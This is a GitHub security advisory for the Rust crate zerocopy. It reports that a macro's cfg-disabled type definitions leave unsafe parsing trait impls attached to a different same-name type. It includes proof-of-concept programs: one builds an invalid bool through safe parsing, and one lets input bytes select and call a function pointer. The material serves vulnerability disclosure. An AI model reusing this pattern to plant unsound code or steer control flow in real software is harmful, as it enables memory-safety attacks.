Skip to content

Security Advisory: A disabled macro definition attaches unsafe parsing traits to a different type #3616

Description

@joshlf

The following was reported by OpenAI via email:

  • Vulnerability Type: Safe API unsoundness / invalid-value construction / attacker-selected callback
  • Affected Software: zerocopy (cryptocorrosion_derive_traits!)
  • Date: September 2026
  • Discoverer: OpenAI (OutboundDisclosures@openai.com)

Summary

cryptocorrosion_derive_traits! applies item attributes such as #[cfg(...)] to the declared type, but leaves its generated unsafe trait implementations active. When that type definition is disabled and another type with the same name exists, those implementations resolve to the other type. The macro checks the disabled definition's field types rather than the actual type receiving the implementations.

A one-byte input can consequently produce an invalid Rust bool through safe FromBytes::read_from_bytes. A second demonstration gives a function-pointer wrapper the same incorrect parsing traits: serialized address bytes then select and invoke a harmless callback.

Classification and threat model: This is a security vulnerability conditional on the compiled application using configuration-selected, same-name types with this macro. After that build-time condition exists, an attacker needs only control of bytes passed to the safe parsing API to construct invalid values. The callback demonstration additionally supplies a known valid function address. It demonstrates control-flow influence, not an address-disclosure primitive, an ASLR bypass, or remote code execution.

Affected version: Reproduced using the published zerocopy 0.8.56 crate. Its release source contains the same affected code as audited revision 2dad389b030e9268d6645ac0bf0626b867e96068, which the source references below use. Earlier releases have not been exhaustively tested.

Environment: macOS arm64 (aarch64-apple-darwin), Rust 1.98.1 for native tests and nightly-2026-09-04 (rustc 1.100.0-nightly, a69a63265) for Miri. Miri used normal validity checks and strict provenance.

Sketch of the attack

An active Packet(bool) definition coexists with a disabled macro declaration named Packet whose field is a u8. The disabled declaration's u8 satisfies the macro's checks. The emitted FromBytes implementation attaches to Packet(bool), so byte 2 is treated as a valid boolean representation.

The same mistake can attach the parsing traits to Packet(fn()), allowing input bytes to supply a callable pointer.

Full repro

Save this as Cargo.toml:

[package]
name = "zerocopy-disclosure-poc"
version = "0.1.0"
edition = "2024"

[workspace]

[dependencies]
zerocopy = { version = "=0.8.56", features = ["derive", "std", "simd"] }
# Pin the derive dependencies to the tested versions.
proc-macro2 = { version = "=1.0.80", default-features = false }
quote = { version = "=1.0.40", default-features = false }
syn = { version = "=2.0.56", default-features = false }
unicode-ident = { version = "=1.0.22", default-features = false }

Invalid boolean from a safe parser

Save this as src/bin/cfg_macro_bool.rs:

#![forbid(unsafe_code)]

use zerocopy::FromBytes;

#[repr(transparent)]
struct Packet(bool);

zerocopy::cryptocorrosion_derive_traits! {
    #[repr(C)]
    #[cfg(any())]
    struct Packet {
        flag: u8,
    }
}

fn main() {
    let packet = Packet::read_from_bytes(&[2]).unwrap();
    println!("{}", packet.0);
}

cfg(any()) is always false and makes the configuration choice deterministic. Run:

cargo +stable generate-lockfile
MIRIFLAGS='-Zmiri-strict-provenance' \
  cargo +nightly-2026-09-04 miri run --locked --bin cfg_macro_bool

Miri reports:

error: Undefined Behavior: constructing invalid value of type zerocopy::Unalign<Packet>: at .0.0, encountered 0x02, but expected a boolean

The error occurs in Ref::read at zerocopy/src/ref.rs:769, called by FromBytes::read_from_bytes. The caller contains no unsafe code.

Input-selected callback

Save this as src/bin/cfg_macro_callback.rs:

#![forbid(unsafe_code)]

use std::sync::atomic::{AtomicBool, Ordering};
use zerocopy::FromBytes;

// An active representation with a field that must never come from raw bytes.
#[repr(transparent)]
struct Packet(fn());

// A disabled alternative representation. The macro still emits unsafe impls
// which bind to the active Packet above.
zerocopy::cryptocorrosion_derive_traits! {
    #[repr(C)]
    #[cfg(any())]
    struct Packet {
        address: usize,
    }
}

static CALLED: AtomicBool = AtomicBool::new(false);

fn harmless_marker() {
    CALLED.store(true, Ordering::Relaxed);
}

fn handle_message(attacker_bytes: &[u8]) {
    let packet = Packet::read_from_bytes(attacker_bytes).unwrap();
    (packet.0)();
}

fn main() {
    // The simulated attacker knows a target function's address. In a remote
    // setting this additionally requires an address disclosure or a fixed
    // address; the demo obtains it directly so it is deterministic.
    let address = harmless_marker as fn() as usize;
    let attacker_bytes = std::hint::black_box(address.to_ne_bytes());
    handle_message(&attacker_bytes);
    assert!(CALLED.load(Ordering::Relaxed));
    println!("attacker-provided bytes selected and invoked the harmless marker");
}

Run:

cargo +stable run --locked --release --bin cfg_macro_callback

Observed output:

attacker-provided bytes selected and invoked the harmless marker

The proof of concept obtains its own marker function's address and sends that address through the simulated input. A remote attacker would need a usable target address from some additional condition. No shellcode or operating-system command is executed.

Root cause

  1. The struct expansion emits $(#[$attr])* only on the struct. Its unsafe impl TryFromBytes, FromZeros, and FromBytes blocks are separate, unconditional items.
  2. Their field bounds come from the tokens inside the macro invocation. Once cfg removes the struct, the bare type name in each implementation can resolve to a different active definition. Its actual fields need not satisfy the generated safety argument.
  3. The union expansion uses the same attribute-placement pattern. The demonstrated invalid boolean and callback both use the struct arm.

Configuration gating must keep the type definition and every generated implementation together. The macro must not permit an implementation to bind to a different same-name item after conditional compilation.

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions